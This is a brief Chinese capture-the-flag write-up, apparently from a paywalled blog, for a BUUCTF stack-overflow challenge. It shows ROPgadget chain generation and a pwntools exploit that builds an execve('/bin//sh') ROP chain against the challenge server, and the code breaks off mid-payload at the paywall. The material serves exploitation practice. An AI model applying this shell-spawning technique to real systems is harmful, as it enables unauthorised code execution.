1.checksec

2.IDA

可以栈溢出,没有system函数,使用系统调用
利用ROPgadget的功能直接利用程序中的片段拼凑rop链
ROPgadget --binary rop --ropchain
3.EXP
from pwn import*
from struct import pack
r=remote('node4.buuoj.cn',25383)
def payload():
p='a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword

该文章展示了如何在没有system函数的情况下,通过使用ida分析和ROPgadget工具,构造rop链来实现栈溢出攻击。payload中包含了对内存地址的操纵,以执行特定的系统调用,如/bin/sh,以获取shell权限。
最低0.47元/天 解锁文章
599

被折叠的 条评论
为什么被折叠?



